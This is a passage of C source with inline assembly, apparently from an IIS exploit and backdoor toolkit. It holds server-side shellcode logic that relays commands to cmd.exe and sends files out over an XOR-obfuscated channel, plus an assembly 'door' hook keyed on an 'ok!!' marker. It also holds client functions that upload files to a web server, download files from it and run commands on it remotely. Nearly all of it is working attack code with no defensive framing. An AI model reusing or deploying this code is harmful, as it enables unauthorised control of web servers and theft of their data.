                                  for(k=0;k<lBytesRead;++k){
                                        lockintvar1=lockintvar1*0x100;
                                        lockintvar1=lockintvar1%LOCKBIGNUM;
                                        lockcharvar=lockintvar1%0x100;
                                        Buff[k]^=lockcharvar;   //
   DATAXORCODE;
                                  }
   
                                l-=lBytesRead;
                           //     if(fpt>0)
   
   WriteFileadd(fpt,Buff,lBytesRead,&lBytesRead,NULL);
   //                             else Sleepadd(010);
                              }
   
   //                           if(i>100) l=0;
                          }
                          else {
                              Sleepadd(0100);
                              ++i;
                          }
                          if(i>10000) l=0;
                       }
   
                       CloseHandleadd(fpt);
                       l=0;
                    }
                    else{
   
   if(k==1&&lBytesRead>4&&Buff[0]=='g'&&Buff[1]=='e'&&Buff[2]=='t'&&Buff[3]
   ==' '){
   
                   //
   fpt=CreateFileAadd(Buff+4,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTIN
   G,FILE_ATTRIBUTE_NORMAL,0);
   
   
   fpt=CreateFileAadd(Buff+4,GENERIC_READ,FILE_SHARE_READ+FILE_SHARE_WRITE,
   NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
                            Sleepadd(100);
                            l=GetFileSizeadd(fpt,&k);
                            *(int *)Buff='ezis';        //size
                            *(int *)(Buff+4)=l;
                            lBytesRead=8;
                             for(i=0;i<lBytesRead;++i){
                                 lockintvar2=lockintvar2*0x100;
                                 lockintvar2=lockintvar2%LOCKBIGNUM;
                                 lockcharvar=lockintvar2%0x100;
                                 Buff[i]^=lockcharvar;   // DATAXORCODE;
                             }
   
                            writeclient(ConnID,Buff,&lBytesRead,0); //
   HSE_IO_SYNC);
                      //      Sleepadd(100);
                            i=0;
                            while(l>0){
                                 k=SHELLBUFFSIZE;
                                 ReadFileadd(fpt,Buff,k,&k,0);
                                 if(k>0){
                                    for(i=0;i<k;++i){
                                         lockintvar2=lockintvar2*0x100;
                                         lockintvar2=lockintvar2%LOCKBIGNUM
   ;
                                         lockcharvar=lockintvar2%0x100;
                                         Buff[i]^=lockcharvar;   //
   DATAXORCODE;
                                    }
   
                                    i=0;
                                    l-=k;
                                    writeclient(ConnID,Buff,&k,0); //
   HSE_IO_SYNC);
   //                                   Sleepadd(100);
                 //
   k=readclient(ConnID,Buff,&lBytesRead);
   
                                    }
                                 else ++i;
                                 if(i>100) l=0;
                            }
                            CloseHandleadd(fpt);
                            l=0;
                        }
                        else l=1;
                    }
                 }
                 if(k!=1){
                   k=8;
                   WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
                   WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
                   WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
                   k=GetLastErroradd();
                   while(k==0x2746){
                     if(thedoor==1)      goto asmreturn;
                     Sleepadd(0x7fffffff);                  //僵死
                   }
   
                 }
                 else{
   
   WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
     //              Sleepadd(1000);
                 }
           }
       }
   
       die: goto die  ;
         _asm{
   asmreturn:
                      mov eax,HSE_STATUS_SUCCESS
                      leave
                      ret 04
   door:              push eax
                      mov eax,[esp+0x08]
                      mov eax,[eax+0x64]
                      mov eax,[eax]
                      cmp eax,'ok!!'
                      jnz jmpold
                      pop eax
                      push 0x12345678  //dooradd-0x13
                      ret
   jmpold:               pop  eax
                      push 0x12345678   //dooradd-0xc
                      ret               //1
                      jmp  door         //2
   getdoorcall:       call getdooradd   //5
   
   getexceptretadd:   pop  eax
                      push eax
                      mov  edi,dword ptr [stradd]
                      mov dword ptr [edi-0x0e],eax
                      ret
   errprogram:           mov eax,dword ptr [esp+0x0c]
                      add eax,0xb8
                      mov dword ptr [eax],0x11223344  //stradd-0xe
                      xor eax,eax                //2
                      ret                        //1
   execptprogram:     jmp errprogram            //2 bytes     stradd-7
   nextcall:          call getstradd            //5 bytes
                      NOP
                      NOP
                      NOP
                      NOP
                      NOP
                      NOP
                      NOP
                      NOP
                      NOP
           }
   }
   void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
   {
      int i,k;
      unsigned char temp;
      char *calladd;
      for(i=0;i<len;++i){
          temp=shellbuff[i];
          if(temp==0xe8){
            k=*(int *)(shellbuff+i+1);
            calladd=fnadd;
            calladd+=k;
            calladd+=i;
            calladd+=5;
            if(calladd==chkesp){
                shellbuff[i]=0x90;
                shellbuff[i+1]=0x43;   // inc ebx
                shellbuff[i+2]=0x4b;    // dec ebx
                shellbuff[i+3]=0x43;
                shellbuff[i+4]=0x4b;
            }
          }
      }
   }
   void iisput(int fd,char *str){
   char *filename;
   char *filename2;
   FILE *fpt;
   char buff[0x2000];
   int size=0x2000,i,j,filesize,filesizehigh;
   filename="\0";
   filename2="\0";
   j=strlen(str);
   for(i=0;i<j;++i,++str){
        if(*str!=' '){
            filename=str;
            break;
        }
   }
   for(;i<j;++i,++str){
        if(*str==' ') {
            *str=0;
            break;
        }
   }
   ++i;
   ++str;
   for(;i<j;++i,++str){
        if(*str!=' '){
          filename2=str;
          break;
        }
   }
   for(;i<j;++i,++str){
        if(*str==' ') {
            *str=0;
            break;
        }
   }
   if(filename=="\x0") {
        printf("\n iisput filename [path\\fiename]\n");
        return;
   }
   if(filename2=="\x0") filename2=filename;
   printf("\n begin put file:%s",filename);
   j=0;
   ioctlsocket(fd, FIONBIO, &j);
   Sleep(1000);
   fpt=CreateFile(filename,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,
   FILE_ATTRIBUTE_NORMAL,0);
   filesize=GetFileSize(fpt,&filesizehigh);
   strcpy(buff,"put ");
   *(int *)(buff+4)=filesize;
   filesize=*(int *)(buff+4);
   strcpy(buff+0x8,filename2);
   newsend(fd,buff,i+0x9,0);
   printf("\n put file:%s to file:%s %d
   bytes",filename,filename2,filesize);
   Sleep(1000);
   while(filesize>0){
         size=0x800;
         ReadFile(fpt,buff,size,&size,NULL);
         if(size>0){
             filesize-=size;
             newsend(fd,buff,size,0);
   //          Sleep(0100);
   
         }
   }
   // size=filesize;
   // ReadFile(fpt,buff,size,&size,NULL);
   // if(size>0) send(fd,buff,size,0);
   CloseHandle(fpt);
   j=1;
   ioctlsocket(fd, FIONBIO, &j);
   printf("\n put file ok!\n");
   Sleep(1000);
   }
   void iisget(int fd,char *str){
   char *filename;
   char *filename2;
   FILE *fpt;
   char buff[0x2000];
   int size=0x2000,i,j,filesize,filesizehigh;
   filename="\0";
   filename2="\0";
   j=strlen(str);
   for(i=0;i<j;++i,++str){
        if(*str!=' '){
            filename=str;
            break;
        }
   }
   for(;i<j;++i,++str){
        if(*str==' ') {
            *str=0;
            break;
        }
   }
   ++i;
   ++str;
   for(;i<j;++i,++str){
        if(*str!=' '){
          filename2=str;
          break;
        }
   }
   for(;i<j;++i,++str){
        if(*str==' ') {
            *str=0;
            break;
        }
   }
   if(filename=="\x0") {
        printf("\n iisget filename [path\\fiename]\n");
        return;
   }
   if(filename2=="\x0") filename2=filename;
   printf("\n begin get file:%s",filename);
   fpt=CreateFileA(filename,FILE_FLAG_WRITE_THROUGH+GENERIC_WRITE,FILE_SHAR
   E_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
   strcpy(buff,"get ");
   strcpy(buff+0x4,filename2);
   newsend(fd,buff,i+0x5,0);
   printf("\n get file:%s from file:%s",filename,filename2);
     j=0;
     ioctlsocket(fd, FIONBIO, &j);
   i=0;
   filesize=0;
   j=0;
   while(j<100){
   //    Sleep(100);
       i=newrecv(fd,buff,0x800,0);
       if(i>0){
           buff[i]=0;
           if(memcmp(buff,"size",4)==0){
               filesize=*(int *)(buff+4);
               j=100;
           }
           else {
   
   /*              for(j=0;j<i;++j){
                   lockintvar1=lockintvar1*0x100;
                   lockintvar1=lockintvar1%LOCKBIGNUM;
                   lockcharvar=lockintvar1%0x100;
                   buff[j]^=lockcharvar;   // DATAXORCODE;
                 }
   */
                 j=0;
                 printf("\n recv %s",buff);
           }
       }
       else ++j;
   //    if(j>1000) i=0;
   }
   printf("\n file %d bytes %d\n",filesize,i);
   if(i>8){
         i-=8;
         filesize-=i;
         WriteFile(fpt,buff+8,i,&i,NULL);
   
   }
   while(filesize>0){
             size=newrecv(fd,buff,0x800,0);
             if(size>0){
                filesize-=size;
                WriteFile(fpt,buff,size,&size,NULL);
   
             }
             else {
                 if(size==0) {
                  printf("\n ftp close \n ");
                 }
                 else {
                     printf("\n Sleep(100)");
                     Sleep(100);
                 }
             }
   }
   CloseHandle(fpt);
   printf("\n get file ok!\n");
   j=1;
   ioctlsocket(fd, FIONBIO, &j);
   }
   void iisreset(int fd,char *str){
       char buff[0x2000];
       int  i,j;
       printf("\nreset xor data.\n");
       Sleep(1000);
       j=0;
       ioctlsocket(fd, FIONBIO, &j);
       strcpy(buff,"reset");
       newsend(fd,buff,strlen(buff),0);
       Sleep(1000);
   
       lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
       lockintvar2=lockintvar1;
       while(1){
         j=recv(fd,buff,0x2000,0);
         if(j>0){
             buff[j]=0;
             for(i=0;i<j;++i){
                 if(buff[i]==0) buff[i]='b';
             }
       //      printf("\nrecv 0x%x bytes:%s",j,buff);
             if(strstr(buff,"xordatareset")!=0){
                 printf("\nxor data reset ok.\n");
                for(i=strstr(buff,"xordatareset")-buff+0x0c;i<j;++i){
                   lockintvar1=lockintvar1*0x100;
                   lockintvar1=lockintvar1%LOCKBIGNUM;
                   lockcharvar=lockintvar1%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
                 }
   
                 break;
             }
         }
   //      else if(j==0) break;
   //      strcpy(buff,"\r\nmkdir d:\\test6\r\n");
   //      newsend(fd,buff,strlen(buff),0);
       }
       Sleep(1000);
       j=1;
       ioctlsocket(fd, FIONBIO, &j);
   //    printf("aaa");
   }
   void iisdie(int fd,char *str){
       char buff[0x200];
       int  j;
       printf("\niis die.\n");
       j=0;
       ioctlsocket(fd, FIONBIO, &j);
       Sleep(1000);
       strcpy(buff,"iisrr ");
       newsend(fd,buff,strlen(buff),0);
       Sleep(1000);
       j=1;
       ioctlsocket(fd, FIONBIO, &j);
       lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
       lockintvar2=lockintvar1;
   }
   void iiscmd(int fd,char *str){
       char *cmd="\0";
       char buff[2000];
       int  i,j;
       j=strlen(str);
       for(i=0;i<j;++i,++str){
         if(*str!=' '){
             cmd=str;
            break;
         }
       }
       j=strlen(str);
       for(i=0;i<j;++i){
          if(*(str+j-i-1)!=' ') {
              break;
          }
          else *(str+j-i-1)=0;
       }
   
       if(cmd=="\x0") {
           printf("\niiscmd cmd\n");
           return;
       }
       printf("\nbegin run cmd:%s",cmd);
       j=0;
       ioctlsocket(fd, FIONBIO, &j);
       Sleep(1000);
       strcpy(buff,"iisc ");
       strcat(buff,cmd);
       newsend(fd,buff,strlen(buff),0);
       Sleep(1000);
       j=1;
       ioctlsocket(fd, FIONBIO, &j);
   /*
       lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
       lockintvar2=lockintvar1;
   */
   }
   int newrecv(int fd,char *buff,int size,int flag){
   
       int i,k;
       k=recv(fd,buff,size,flag);
       if(xordatabegin==1){
                 for(i=0;i<k;++i){
                   lockintvar1=lockintvar1*0x100;
                   lockintvar1=lockintvar1%LOCKBIGNUM;
                   lockcharvar=lockintvar1%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
                 }
   
       }
       else{
           if(k>0){
               buff[k]=0;
               if(strstr(buff,"XORDATA")!=0) {
                 xordatabegin=1;
                 for(i=strstr(buff,"XORDATA")-buff+8;i<k;++i){
                   lockintvar1=lockintvar1*0x100;
                   lockintvar1=lockintvar1%LOCKBIGNUM;
                   lockcharvar=lockintvar1%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
                 }
               }
            }
   
       }
       return(k);
   }
   int newsend(int fd,char *buff,int size,int flag){
             int i;
   
             for(i=0;i<size;++i){
                   lockintvar2=lockintvar2*0x100;
                   lockintvar2=lockintvar2%LOCKBIGNUM;
                   lockcharvar=lockintvar2%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
     //              buff[i]^=DATAXORCODE;
             }
         return(send(fd,buff,size,flag));
   }
   void iishelp(){
     printf("\nusage:");
     printf("\niisget filename filename.  get file from web server.");
     printf("\niisput filename filename.  put file to web server.");
     printf("\niiscmd cmd.  run cmd on web server.");
     printf("\niisreset.  reset the xor data.");
     printf("\niisdie.  reset the asp door.");
     printf("\n\n");
   }
